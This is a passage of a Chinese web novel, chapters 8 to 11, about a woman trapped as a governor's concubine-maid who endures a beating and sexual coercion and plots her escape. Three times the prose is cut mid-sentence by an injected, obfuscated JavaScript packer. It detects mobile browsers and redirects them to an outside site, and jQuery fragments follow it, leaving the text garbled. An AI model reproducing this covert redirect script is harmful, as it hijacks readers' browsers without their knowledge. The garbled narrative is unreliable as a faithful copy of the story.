今日再瞧,她虽是昏迷多日,面色苍白,腿脚也不甚稳当,但那眉眼、那神情,怎么看怎么透着一股桀骜不驯,活像头披了羊皮的狼崽子。 正因如此,宋老太太未曾与她多言,只伸手一指:“给我打!” 执棍的婆子们早候在廊下,闻言面面相觑。 怎么打?打多少? 在真正的富贵人家,这些是有讲究的,主家发起怒来惩戒下人是常有的事,但不兴打死:一来与名声有碍;二来有违律法。虽说宋家底蕴深厚,不会有不长眼的动真格追究,但宋钊是士大夫,立身朝堂免不了树敌。 若是这些敌人拿捏住把柄,攻讦于彼,该当如何? 这些细节,宋老太太不在意,沈夫人却想到了,遂补了句:“着实打,叫这小蹄子好好知道什么是规矩分寸。” 这原是宫中廷杖传出的暗语,“着实打”乃是全力击打刑犯,但下手还算留有余地,卧床半月尚能将养好。“用心打”恰好相反,刑犯瞧着伤势不重,不出三日,伤口烂成一片,里头骨肉全坏透了,端的是狠辣异常。 与宋老太太不同,沈夫人虽恼恨,但还不想要了薛殊性命——就算要处置这贱婢,也不能是在她刚闹完寿宴,无数人盯着宋府的当口。 几个婆子得了明白示意,将薛殊拖上一早备好的长凳,木棍运足了气力,裹挟着猎猎风声落下。 “砰”一声响,薛殊咬紧嘴唇。 又“砰”一声响,喉头泛起腥甜。 她心中涌起焦躁,挨一顿打不要紧,可她行动有期限,万一伤上加伤,耽搁了时日,那就划不来了。 她是个有成算的,一时计上心来,就要好汉不吃眼前亏地闭眼装晕。 偏这时,脚步声急匆匆地闯进来,有人强夺了婆子手中长棍,往地上一掷。 “我看谁敢动她!” 8. 第八章 闯进来的人是宋钊,薛殊听出来了。 按照网文小说套路,这是经典的英雄救美桥段,再往下应该是英雄仗义援手,美人倾心相许。然而倒霉催的女主角正是薛殊自己,她非但没有“嗑到了”的感觉,反而满心不耐。 于是藏在心里的小人再次分裂,只是这一回,分裂出的那一半变成赵文笙的模样。她漂浮在半空,瞧着薛殊低低地笑。 “看啊,他急得脸色也白了,额头上都是汗,”赵文笙说,“他是真的很担心。” 薛殊伏在凳上没动弹:“他装的。” “什么意思?” “他是浙直总督,园子里到处都是他的耳目,他怎会不知道我被他亲娘亲祖母拖来了?”薛殊冷笑,“他故意迟来片刻,让我挨上两棍,就为了告诉我,没有他,我在这府里根本活不下去,他是我唯一的救命稻草,我该紧抱着不撒手。” 赵文笙饶有兴味:“你不感动吗?” “我为什么要感动?” “他是堂堂从一品总督,想要什么样的女人没有?可他偏偏对你这么用心,换一个人,早就小鹿暗撞了。” 薛殊想了想,尽量礼貌地答复道:“我没有斯德哥尔摩综合症。” 两个女人的对话暂告一段落,她们不约而同地抬起头,看着戏精上身的宋总督表演。就像赵文笙说的,他确实脸色煞白,额头鼻尖布满汗珠。他草草向宋老太太和沈夫人行了一礼,转向行刑的婆子时,眼神变得很冷。 “我竟不知,这总督府是谁人做主。我的人,我没发话,你们倒敢对她动手?” 他语气称不得严厉,婆子们却唬了一挑,萝卜头似地跪了满地:“郎君开恩!郎君饶命!” 能被挑上来行刑的,都是宋老太太的心腹,说是看着宋钊长大也不为过。但他发落时毫不留情:“领头的两个,挑断手筋脚筋,叫人牙子来发卖。剩下的灌哑药,发配去庄上做苦役。” 他只管发话,执行是底下人的事。这回上来的可不是婆子仆妇,而是追随他多年的心腹,两人一个拽起婆子,就往院外拉扯。 婆子两条腿拖在地上,两脚胡乱踢蹬,声嘶力竭地求饶:“郎君饶命!老太太,奴婢是奉命行事啊!老太太救我!” 如果说沈夫人是个天真烂漫的,宋老太太就是加倍的天真,她看到这儿终于想起来,这里是她的主场,行刑的命令是她下的,宋钊当着她的面发作婆子,与其说是跟婆子过不去,不如说是当众下她的脸面。 这是从来没有过的事!伏惟圣朝以孝治天下,怎么能跟自己祖母对着干?这要是传扬出去……也不用传太远,只需在这总督府里传遍了,他的孝顺名声还要不要?她这个老祖宗的脸面和威风还要不要! “钊哥儿!你、你是要为这个上不得台面,气死自己的亲娘亲祖母吗!” 宋钊面无表情地看着婆子们被拖走,“孝道”二字虽然重,却还重不过浙直总督的权势,当他下定决心让某个人从府里消失时,就是亲娘亲祖母也救不得。 直到撕心裂肺的呼号声消失了,他才转过身,重新端起和煦恭敬的笑意:“今日叨扰祖母与母亲,原是孩儿的不是,孩儿这就告退了。” 宋老太太颤巍巍地指着他:“你、你……” 宋钊作恍然状:“哦,祖母说那些婆子啊?她们手脚不干净,又爱撺掇挑事,打发出去清净。赶明儿我再挑些好的回来孝敬祖母。” 宋老太太不需要孝敬,她快气死了。 宋钊使了个眼色,自有闻香阁的婢女上前搀起面白气虚的薛殊,连人带凳抬出去。沈夫人还想拦人,被宋钊一个眼风钉在原地。 “母亲、祖母,”他倒了杯茶,恭恭敬敬地递过去,“孩儿还有些话想说。” * 关于宋钊是如何胁迫……不对,是劝服祖母与母亲放自己钟爱的妾婢一马,薛殊不知道,也不感兴趣。 她是晕着离开宋老太太院里的,一半真的,一半装的。 真的那一半昏昏沉沉,装的那一半跟赵文笙争执不休。 “你看看,这就是古代人的权势啊,”赵文笙叹息,“其实那些婆子又有什么错处?就是因为宋钊在你身上吃了瘪,因为他祖母母亲拿你作筏子,就成了牺牲品,你一点都不同情?” “她们也不曾同情过我,”薛殊寸步不让,“我痛苦、挣扎、憎恨、哀嚎时,她们也睡得很香。” “她们是生于这个时代的人,与时代同化,但你不是。她们救不了你,可你救得了她们。” “我不能,”薛殊很清醒,“我无权无势,社会地位甚至不如这些家生子。宋钊处置她们,就是为了立威,亲妈亲奶奶都拦不住,我在他眼里就是个玩意儿,我怎么可能有这么大的影响力?” 争执到此为止,因为薛殊彻底晕了过去,赵文笙叹了口气,重新回到她的身体里。 她睡了许久,可能是一两柱香,也可能有一两个时辰,反正再睁眼时,天完全黑了。 屋里没有电灯,夜色像拉起的帷幔,遮盖住银线绣纹的纱帘,遮盖住百宝嵌的铁力木家具,也遮盖住坐在床边的男人身形。 但薛殊依然能察觉到他的存在,凭他的呼吸,凭他过分灼亮的目光。 那一瞬间她肌肉绷紧了,手掌探入枕下,捏住这个时空唯一能弄到的利器——碎瓷片。 她不再是三个月前手无缚鸡之力的弱女子,她被赵文笙训练了这么久,已经形成肌肉记忆。这样近的距离,这样出其不意的时刻,她有七成把握得手。 但赵文笙比她更快地摁住她,那双眼睛十分严厉地注视着薛殊。 “记得我说过什么?把死亡作为最后的备选!” “你可以杀了他,但你也活不了!” “在彻底走投无路之前,不要轻易选择它!” 她那样紧地摁着薛殊的手腕,指甲完全嵌进肉里,薛殊低下头,发现自己的左手正死死摁住右手。 她承认赵文笙说的有道理,不来硬的,那只能用软的。可薛殊实在做不来婉转媚上那一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849614|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 套,天赋树没点亮,赵文笙也没教过。 “我做了一个梦,”她在漆黑的帐子里幽幽道,“我被绑在木筏子上,推进海里,周围都是水,但我依然觉得口渴,像是被烈火煎熬。” 她的声音太微弱,太飘渺。宋钊暂时忘了怒火,侧耳靠近少许。 “……然后海水真的变成火,将我一口吞下,皮肉烧成飞灰,骨骼化作焦炭,鲜血把海水染红,又被烈火烤干,”薛殊像是梦呓,眼神怔怔地,“我会尸骨无存吗?” 她鲜少流露出这样彷徨无助的姿态,在宋钊眼中,无异于间接的服软。虽然他理智上知道,这女人没那么容易屈服,极有可能是惺惺作态,情感上却忍不住狂喜。 他终于将这个倔强的女子折服了,这匹性烈如火的胭脂马,终于温驯地臣服在他身下! 他翻身上床,将薛殊搂在怀里,后者偷偷伸出脚丫,大拇指抠着床栏缝隙,十分认真地抠出一套三室两厅。 “今儿个吓着了吧?”他在薛殊瘦脱形的下巴上掐了把,摸到硬梆梆的骨头,不觉皱了皱眉,“可知道厉害了?若非你牛心左性,非要在寿宴上闹这一场,何必吃这许多苦头?” 薛殊不知道该说什么,反正她要一张嘴,铁定喷宋钊一跟头。 只好装哑巴装柔弱,假装自己是一具五感封闭的行尸走肉。 宋钊却会错了意,只以为她被吓狠了。他今日确实是故意来迟,有意教薛殊吃些苦头,磨磨那过刚易折的性子。可他闯进院里,瞧着她被摁在长凳上面白气虚,瞧着她银白纱衫透出分明的血痕,又有些后悔。 青楼里出来的丫头片子,就跟家里养的猫儿狗儿一样,不懂规矩不是太正常了?他跟她置什么气! 想到这里,宋钊释然了。 “你且安心,”他低声道,“有爷护着你,看谁敢叫你尸骨无存?” “赶明儿你身子好些了,爷就给你个名份,抬为贵妾,看这府里谁还敢对你不恭敬!” 他还说了许多,有恫吓有怀柔。薛殊听见了又像没听见,因为赵文笙在她耳边幽幽叹息。 “你感动吗?”赵文笙问,“你是青楼出身,就算从良,想进官宦人家的门,顶多当个可以随意发卖的贱妾。” “但他居然愿意为你破除世家大族的规矩,许你上宗谱、抬贵妾,有了正经的名分,以后不管府里府外,都得高看你三分。” “你真的一点也不感动?” 薛殊仔细思考了一会儿。 “如果我是只猴子,有人愿意教我穿人的衣服,打人的手语,用人的面貌交际生活,我可能会感动,”她说,“但我本来就是人啊。” 赵文笙叹息着消失了,只有被薛殊留在黑暗里,一只强壮有力的手臂紧紧扣着腰身,提醒她,她还不是人,她只是看起来像个人。 薛殊捏紧碎瓷,在墙上悄无声息地划下一道。 “就快了,”她这样告诉自己,“还有二十九天。” 离她真正做人的日子,只剩二十九天。 9. 第九章 薛殊恢复得很快。 昏迷三个月的人是十分虚弱的,古代的医疗水平也极为低下,但一切不利因素都抵不过一颗想要尽快恢复健康的心。 当然,在这件事上,宋钊功劳很大。他命人开库房选了最上好的药材,什么山参、黄芪、当归、阿胶,流水样地送进闻香阁,又流水样地进了薛殊肚子。 但他这么做不光是为了薛殊考虑,也为他自己。因为太医又来瞧过,说薛殊脉象虚弱,须安心静养,开了补益气血的方子。 最关键的一条,静养期间,禁房事。 这让宋钊唉声叹气,他也的确有郁闷的理由,好容易将薛殊驯服了,不能立刻享用这只温顺的鸟儿,如何不叫人惋惜遗憾? 但他求的是长长久久,现阶段不想,或者说没有理由做竭泽而渔的事,还是耐着性子遵医嘱了。 这就给了薛殊转圜的时间。 白日里宋钊忙于公务,沈夫人和宋老太太得了教训,短时间内不打算再跟孙儿起冲突。薛殊可以借口静养,将盯着她的婢女赶出门外,一个人在屋里尝试复健。 具体项目包括但不限于:平板支撑,仰卧起坐,俯卧撑,空中蹬车,床上瑜伽……等等。 如果不是房梁太高,而她又不想让人误会自己有悬梁倾向,薛殊恨不能将床单撕成条状,系上房梁练一练空中瑜伽。 婢女不知薛殊私底下的苦功,见她气色一日比一日红润,心中极为宽慰,无人时也劝道:“姑娘该向郎君服软些,究竟你的前程只在郎君身上,总得为自己打算。” 薛殊不在乎宋钊怎么想,但她确实要为前程考虑,若是宋钊打定主意拘着她,不许她出门,倒不是说一定不能成事,对后面的计划总有妨碍。 所以薛殊采纳了婢女的建议,亲手准备了点心——当然,是婢女帮着做的,只是借了“亲手”的名,选了个风和日丽的日子,给外书房送去。 这是薛殊多日来第一次踏出闻香阁的门,风是细细的,水是粼粼的,府院高墙像个万紫千红的琉璃罩子,将她扣在里面,她听到的是莺声燕语,看到的是花团锦簇,至于世道如何,外头又是什么情形,全无半点概念。 这正是宋钊想要的,将她关进金丝牢笼,时日久了,哪怕这不听话的雀儿不眷恋笼中的衣食无忧,偷偷逃了去,也应对不了院墙外头的泼天风雨。 但他忘了一点,薛殊是从秦淮河畔的楚馆里出来的,虽然一样是笼子,形形色色的人见多了,她所掌握的信息、对世道的预判和估量,是宋钊远远无法想象的。 不过在逃离总督府之前,说这些都没用。 薛殊穿过竹林,越过小桥,快走到蔷薇圃时,远远过来一道身影。 瞧着极挺拔,穿一身深蓝色直缀。这在当下是十分常见的打扮,十个文人里有九个这么穿,唯独此人穿出了过目不忘的效果,主要是因为他有一张鹤立鸡群的脸。 他的肤色很白,却不是抹了脂粉,如果现在逼他去吃热辣辣的火锅,大约能吃出“色转皎然”的效果。 眼睛很明亮,如秋水,似闪电,顾盼有神采,展颜见琳琅。 尤其他不止有颜值,神姿舒缓气度从容,即便是靠边站停欠身行礼,也如松下林风,萧萧肃肃。 薛殊的遐想突然被打断,因为婢女在身后扯了她一把。 她这才反应过来,这人突然停下脚步,是给自己让路行礼。 薛殊有点奇怪,她现阶段还是丫鬟打扮,这人瞧着却似个有身份的,无论如何没有给一个下人让路行礼的道理。但他这么做了,还做得无比自然,没有一丝不情愿。 那么问题来了,他到底是未卜先知,算到她即将被浙直总督纳作妾室,有意讨好未来的上司小老婆,还是单纯见色起意,走不动路? 薛殊想了想,觉得哪个选项都挺扯淡。 这人虽然皮相好,瞧着还是肉体凡胎一枚,不太像是修出仙法的模样。至于见色起意……开玩笑,他长了这么张脸,但凡换个性别就是倾城倾国的祸水胚子,自己照镜子扮水仙不香,用得着对她起意吗? 薛殊想不通,索性不想了。 这人是何身份,又为什么这般客气,对她而言一点也不重要。她回了个万福礼,眼观鼻鼻观心地走过去。 那小女婢却没这么好的定力,跟在薛殊身后频频回头,脸颊飞上两片红晕。 “那就是谢家三公子?”她像是对薛殊说,又仿佛自言自语,“怪道都说貌比潘安。” 薛殊假装没听见。 食色乃人之常情,追星更是年轻女孩的特权,她不至于在这点小事上跟人家过不去。 这个小插曲没有耽搁太久,薛殊很快来到了外书房。这是一座独立的院里,有个好听的名字叫松涛斋。院门口守着小厮,同行的婢女只能在此止步,薛殊独自拎着沉甸甸的食盒穿过藤花架子,走上台阶时听到屋里传出谈话声。 这两人的声音她都认得,一个是宋钊,一个是他身边最得力的亲随,名字她没记住,那张脸却印象深刻——她第一次逃跑时,差点成功了,最后关头被这人察觉行踪,捆了手脚拎回来。 薛殊指尖攥紧了一瞬,又强迫自己慢慢放开,她屏着呼吸迈近一步,想听听里头的人说些什么。 首先是亲随开口:“郎君放心,都安排妥了,出不了差错。” 然后是宋钊,以往他说话总是气定神闲,这是薛殊头一次听他语气紧绷:“那几个可不是一般人,真正上过战场的,连努人蛮子都惧他们三分,尤其是那个姓云的……告诉黄国安,行事小心着些。” 书房里就静了一会儿,然后宋钊道:“你想说什么?” 亲随有点迟疑:“那人逃便逃了,总归无凭无据的,他自己又没个清白身份,怎敢胡乱攀咬郎君?就非得……” 宋钊声音很冷:“你替他们求情?” 里头“咚”一声,估摸着是亲随跪下了。 “他不止逃了,还把密信偷走,如果你能把他缉捕回来且罢了,但你不能,留着他们就是祸根!” “可到底是正经的军籍,尤其那姓云的参将,是有恩荫的,万一……” “万一” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849615|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么薛殊没听清,里头话音突然住了。刹那间她后脖颈寒毛倒竖,那是格斗场被摔了无数回,磨练出的察觉危险近身的预兆。 野兽感知到危险的第一反应是跑,薛殊也一样,但她与野兽不同,她强忍住了。她在里头那人拔刀拉门的前一刻推开房门,眼皮突然眨了眨,是被刀锋映出的寒光晃花了。 “我给郎君送点心,”她像是吓住了,愣愣道,“这也不成吗?” * 亲随出去了,换薛殊进来。 她也终于知道了这个男人的名字,凌宽。 名字起得宽容有度,行事却完全不是那么回事,反正薛殊一直记得自己胳膊腿被他捆完了,上面的红痕三五天都没消下去。 薛殊是个记仇的人,虽然表面看不太出,知道的人也不多,但她还是在心里的清单上记下这个人名字。 这个清单上已经列下好几个人名,高居榜首的正是眼下握住她的手反复摩挲,一双眼却似带电一般,在她脸上游走来去的宋钊。 “你方才听见什么了?” 问得很直白,跟薛殊这样的人,也确实没有当谜语人的必要——谁会拿应付上司同僚的官话、套话,对着家养的小猫汪汪吠叫? 薛殊想了想,她不能说什么也没听见,宋钊不是傻子。但也不能和盘托出,除非她小命不想要了。 “听见郎君要抓逃犯,”薛殊说,语气恰如其分地带上些许好奇,“他做什么了?杀人放火,还是打家劫舍?” 宋钊不答,似笑非笑:“还听见什么了?” “旁的没听见,”薛殊像是心思浑不在这上头,“郎君要抓贼人,公务必然繁忙,我一个人出府也一样。” 宋钊被她带歪了楼:“你出府去做什么?” 薛殊:“我没首饰,衣服也不好看。” 宋钊笑了,顺手在她下巴上摸了把:“这有什么?爷给你买新的。” 薛殊:“我不要你买的,我要自己选。” 宋钊收敛了笑意:“别跟爷闹,听话。” 薛殊二话不说,起身就走,临走也没忘拎上带来的食盒。 宋钊被气笑了。 在这总督府里,从一等丫鬟到粗使婆子,哪个不看宋总督的眼色?就连诰命在身的亲娘亲祖母,见他沉脸动了真怒,也得再三赔小心,如今算是遇上克星了。 可偏偏,薛殊越这般做作,宋钊越心痒难耐,心口探上来只小爪子,一个劲地抓挠不休。 他扯住薛殊衣袖,将人带进怀里,心痒归心痒,却没忘狐疑:“你不会趁机逃走吧?” 薛殊不悦:“有丫鬟呢,若不放心,你再叫人跟着。” 宋钊放下一半心,再一想,关了她半个多月,也是时候给这倔蹄子少许甜头尝尝。 于是在她脸上亲了下:“你要去就去,只是那些个逃走的主意,趁早给爷打消了。” “否则……” 他没把话说完,却将手伸进薛殊衣襟,驾轻就熟地扯开系带。 薛殊不说话也没动弹,像一个真正的泥胎木雕。 10. 第十章 从决定面对命运的一刻起,薛殊就明白,有些东西是她必须放弃,或者说,必须暂时放弃的。 她面无表情地走出书房,虽然目的达成,代价却着实惨痛。丫鬟瞧见她时,她正低头系着丝绦,那豆绿丝线滑腻得很,几次三番从她指尖游走,总是打不成结。 丫鬟忙道:“我来帮姑娘。” 上前接过丝带,三下五除二打出一朵梅花。 薛殊没道谢,丫鬟也不以为意,只道:“姑娘与郎君说了什么?郎君可有赏赐姑娘?” 薛殊看着她,黑漆漆的眼珠静得厉害,叫丫鬟想起在宋老太太屋里见过的,不知哪家姻亲孝敬上来的黑琉璃珠。 冷冰冰,硬梆梆,没有丝毫活气。 丫鬟心头咯噔一下。 薛殊的语气却很温和:“是给了赏赐,吩咐下去,我要出门。” * 总督府的正门不常开,寻常出入都走角门。这一日,一辆不起眼的青幔马车离了府邸,汇入街上的车水马龙。 同为浙江大城,宁波虽不如杭州出名,也是难得的交通要道,富庶之地。因为临着港,靠着海,早年间藩商朝贡,都往这里停泊,来往行商多了,配套设施也应运而生,什么开客栈的,开饭馆的,摆小摊的,仓库存储的,熙熙攘攘好生热闹。 虽说这些年朝廷禁海,往来藩商少了许多,终究是瘦死的骆驼比马大。一路上,薛殊听到小贩的叫卖声,也闻到路边摊揭开锅盖时,不知是馄饨还是水饺的荤香,随风扑了满街。 她很想撩开车帘看看,却忍住了,因为马车里不止她一人。跟着她的婢女叫竹青,是她进宋府后就服侍她的。平日里对她言听计从,说什么没有不答应的,但薛殊知道,每晚宋钊来闻香阁,都会跟竹青细细查问她的行踪。 马车先去了吴家账房,不是为了查账,而是买料子。吴家人祖籍金陵,靠绸缎生意起家,置办了好大一份家业,宁波城的这处算是分庄。 店铺名声大,货也齐全,进去之后眼冒金星——那一匹匹摆在架子上的不仅姹紫嫣红,好些更是民间罕见的织金缎子,一匹缎倒要掺进去二两金,如何不满目生辉又富丽堂皇? 薛殊溜达一圈,随意指了几样。店铺掌柜也精明,见薛殊穿着寻常,身后却有丫鬟跟着,还有两个带刀侍卫立于门口,就知这位女客必有身份,遂殷勤备至地包起缎子,不住口地陪笑奉承。 薛殊微微一笑,瞧着竹青没留意,动作极快地握住掌柜的手,将一张纸条塞进去。 掌柜面色微愕。 薛殊没有解释,径直走出门去。 她的第二站是银楼,当然,吴家账房是她此行的主要目标,银楼不过顺带。但做戏做全套,她耐着性子听完掌柜的讲解,又将每款首饰打量一遍,最后客气却不失礼貌地表示:对不住,你这里没有我看上的。 掌柜的没恼火,反而好声好气地请她上二楼喝茶,并称有些更好的货色不方便展露人前,须得上楼才好介绍。 薛殊觉着有趣,答应了。 二楼是一个个独立的小隔间,里头有盆栽,有香炉,也有上好的茶具。掌柜的捧出一套泥金木匣,摆在铺了漳绒桌布的案上,打开前看了竹青一眼。 薛殊存心看他葫芦里卖的什么药,吩咐道:“你在外头等我。” 竹青为难:“可郎君说了,要我寸步不离地跟着姑娘。” 薛殊不耐烦:“我就在屋里,只隔一道门,能有什么妨碍?我好容易出来一趟,你是存心给我找不痛快?” 竹青不敢多说,福一福身,退出门外。 房门掩上,屋里静悄悄的。薛殊单手托腮,饶有兴味地瞧着掌柜:“里头到底卖了什么药?现在可以接盅了吧?” 她猜到掌柜的故弄玄虚,必有所图,原以为是仇家寻衅或是变相送贿,谁知这一次,薛女士的想象力狭隘了。 掌柜的突然后退半步,像一根人肉杆子似地退进墙角。墙上大幅的山水画晃了晃,露出后头那一道暗门,有人轻轻推开一条缝,闪进来一道……似曾相识的身影。 薛殊瞳孔微微放大。 她原本未必能认出这个人,她与他只有一面之缘,完全有见面不相识的理由。但她第一眼就认了出来,实在是这张脸的辨识度太高。 “谢……三郎?”她记得竹青是这么称呼他的,“怎么是你?” 不请自来的年轻公子换了身衣裳,月白的浅淡色泽悠远从容,比深蓝更适合他。不过要薛殊说,开局生成这样一张脸,相当于拿到基因彩票,那就不是人穿衣服,而是衣服穿他。 总归不会有不好看、不适合的。 谢三郎也很惊讶:“姑娘记得在下?” * 薛殊花了一点时间和谢公子沟通,总算弄明白了原委。 简单说来,就是谢公子出身名门,与宋家有点不深不浅的交情。半个多月前,他代表谢家出席宋老太太寿宴,就这么阴差阳错地撞见了薛殊处心积虑安排的戏码。 如果用一句话形容谢公子当时的心情,就是他大受震撼。 别误会,他肯定不是被薛女士的扮相震住,虽然薛殊确实是个美人,架不住谢公子本尊是美人的N次方,看自己就好了,没必要对薛殊惊为天人。 让他印象深刻的,是薛殊临场现编的唱词,和她后来的一系列举动。 从交谈中不难看出,这位谢公子虽未道明身世,却必是出身名门,搞不好还是什么簪缨世家、诗礼门第,从小受到最严苛正统的儒家教育,自己的想法也被士大夫的条条框框框住了。 正因如此,他才会震惊于宋钊的强抢民女,愤怒于从一品总督对礼义律条的践踏,以及十分罕见且不合时宜的,对薛殊这等沦落污浊肮脏地,却犹怀自傲风骨的风尘人士抱以敬佩。 “古有梁夫人随夫征战、义薄云天,如今姑娘不屈富贵、不畏强权,亦不失先贤风骨,”谢公子十足诚恳地说,“怀安很是敬佩。” 薛殊就知道了,这位谢公子名怀安,家中排行第三。 她虽不知谢怀安父祖是谁,但“谢”这个姓氏乃是大大的有名,想来若非登阁拜相、高居庙堂,也不好意思冠之头上。 “公子谬赞,妾身惨愧,”薛殊一边跟他兜圈子,一边试探谢怀安来意,“不知今日偶遇,有何赐教?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16849616|191472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >谢怀安果然是个坦荡人,不曾藏着掖着:“听闻姑娘寿宴之上一曲唱词惊世骇俗,谢某十分感佩。若姑娘不愿长居宋府,谢某愿助一臂之力。” 薛殊:“……” 她眨眨眼,再眨眨眼,将这话扒皮抽筋,提炼出一个十分耸人听闻的信息点。 所以,这货是来撺掇她逃府私奔的? * 让薛殊惊骇的不是“私逃”这个念头,她从没想过久留宋府,不管有没有谢公子横插一杠,她的潜逃计划都已进入倒计时。 可眼前这人,他不是以利驱动的商贾,也不是在泥潭里挣扎求生的贩夫走卒,他是个士大夫啊! 他该是端方的,伟正的,说出口的每个字都像是被礼义的尺规校准过,往那儿一站就是行走的光风霁月……怎么可能教唆别人家的妾婢私逃? 但他就是这么说了,而且说得义正言辞,仿佛本该如此。 薛殊木着一张脸,听他把计划详细道来——是的,距她跟这位谢公子第一次见面不过半日,他已经制定好了一份完整的潜逃计划,包括但不限于如何伪造路引,如何蒙混出城,如何声东击西甩脱追兵,途中在何处落脚、何处打尖,最终又于何处安顿。 细节翔实,无一不周密,连安顿的城镇都安排了不止一个。 “若姑娘愿意,可以我老师亲眷的名义一同回京。我在京中有几门相识的故交,尽可为姑娘安排妥当。” “若不习惯北地气候,也可往南边,我在广州也有几个交好的同窗,已经婚配。将姑娘托付给嫂夫人,我是尽放心的。” “再不然,蜀中也可。我有个同门任职县令,有他照看,姑娘不管是自立门户,还是婚配嫁人,都便宜许多。” 摸着良心说,他的计划是很成熟的,几个选择听上去也都可行,如果薛殊是青楼土著出身,搞不好真动心了。 但她不是,并且从谢公子这番话里捕捉到几个隐藏信息点。 首先,他人脉很广,座师,同门,同窗,且遍布大江南北,蜀中沿海。 其次,他敢放话帮一个风尘女子伪造路引、自立门户,这不只是说说而已,背后隐藏着大量手续和文书工作——要有户籍,要寻到保人,还有能和当地官府说上话。 他对此很有信心,他提到的同门和同窗都是当官的,一地父母,权柄很是不小,且对堂堂总督毫无畏惧之心。 那么问题来了,他的朋友圈都是当官有功名的,他自己会是白身吗? 虽不排除这人格外闲云野鹤,视官途如粪土的情况,但薛殊还是觉得,此人不仅出身名门,身上十有八九是有功名在的。 这么一个人,道理说破天去也没必要对薛殊一个风尘女子假以辞色。 如果不是他存心从薛殊身上得到什么,就是他这个人是真君子、真好人,见着不平事就忍不住伸手帮一把。 “确实难得,”薛殊想,“烂泥潭里竟然也能开出白莲花,长见识了。” 然后她保持微笑,轻轻接过谢怀安递来的橄榄枝。 “多谢公子美意,”她笑容真挚,带上一点恰如其分的哽咽,“大恩大德,妾必结草衔环。” 11. 第十一章 就合作达成初步共识后,薛殊和谢怀安的交流松弛了许多。虽然她时间紧迫,还是抓紧时间闲聊了几句。 比方说,她提到宁波城中有驻军,很担心宋钊发现她逃走后,会派军队来追。谢怀安就安慰她说,军营驻扎于宁波城外东南处,离此足有二十里,哪怕是平坦的官道,一来一回加上调兵,少说需要一两个时辰,到时他们早离了宁波地界。 薛殊又问,若是宋钊不甘心,命驻军穷追不舍如何是好。这一次谢怀安沉吟片刻,说管着宁波大营的副将王国安和宋总督走得很近,若宋钊铁了心要追薛殊,确实有些麻烦。但话又说回来,朝廷不是宋钊的朝廷,军队也不是宋氏的私兵,他要调动驻军,总得有些冠冕堂皇的理由,若是寻不到……对不住,此地的监察御史与提刑按察使司不是摆着看的,一封弹劾送回京中,宋总督总得掂量掂量。 薛殊得了自己想要的信息,接下来就是喝茶微笑。待得一杯茶喝完,谢公子自暗门溜回隔壁,她则与掌柜的结清账目,把玩着自己的战利品出了门。 战利品是一串粉色碧玺,配了翠玉佛头、佛塔和背云,颜色鲜嫩又好看,十分衬人气色。但无论碧玺还是翠玉,都不是什么贵重物件。 于是竹青起了疑心:“姑娘与那银楼掌柜相谈许久,就只买了这么个小物件?” 薛殊眉眼淡淡:“更贵重的自然有,只是我不喜欢,选了半晌,也就这个勉强入眼。” 竹青闭嘴了。 然而她不问,自有旁人问。回府不到两刻钟,宋钊就命人将薛殊唤去书房,还特意吩咐将新买的碧玺串子戴上。 “这碧玺成色倒是不错,颗颗通透,可再通透也是贱物,上不得台面,”宋钊意有所指道,“你怎就偏偏选了它?” * “他在试探你,”赵文笙突然浮现出来,贴着薛殊耳根低语,“很显然,他察觉到了什么。” 薛殊面不改色:“他察觉到了,但他没有证据。” “你想怎么做?” “死不承认。” * “它的颜色好看,合我心意,”薛殊说,“我喜欢粉红色。” 宋钊将串子拿近些端详,嗤笑一声:“粉红俗艳,可不大衬你。” 说着,随手将串子丢出窗外,又从怀里摸出一只赤金镯子,套过薛殊手腕,仔细打量一会儿,满意地点点头:“你瞧瞧,这腕子白如皓雪,细如凝脂,还是戴赤金的好看。” 好看确是好看,赤金镯子不是一整块金疙瘩,而是用细如须发的金丝编织成镂空状,里头藏了龙眼大小的南珠。迎光照照,有柔和如绢绸的珠光透出,端的是重工重料、精致绝伦。 “真好看啊,”赵文笙幽幽地说,“你看,他待你多上心。” “可我不喜欢,”薛殊冷酷无情地说,“我不喜欢,再上心也只是多一重枷锁,谁会高兴?” 但她脸上极恰当地浮现出笑容:“好看。” 宋钊难得见她笑脸,心里舒坦了:“听说你今儿个遇上了谢三郎?” 薛殊有点不耐烦,任谁被没完没了的试探都会暴躁。 “见到了。” “如何?” “挺好看的。” 宋钊脸色倏沉:“爷再给你一次机会,想清楚了说。” 薛殊冷笑吐槽“狗渣男”,脸上做无辜状:“连竹青都说他貌比潘安,不好看吗?” “你在祸水东引,”赵文笙指责她,“她只是个小婢女,生死由不得自己。” “但她仍然当了我的狗链子,”薛殊冷冷反驳,“我不是一个善良的人,谁挡了我的路,谁就是我的敌人。” 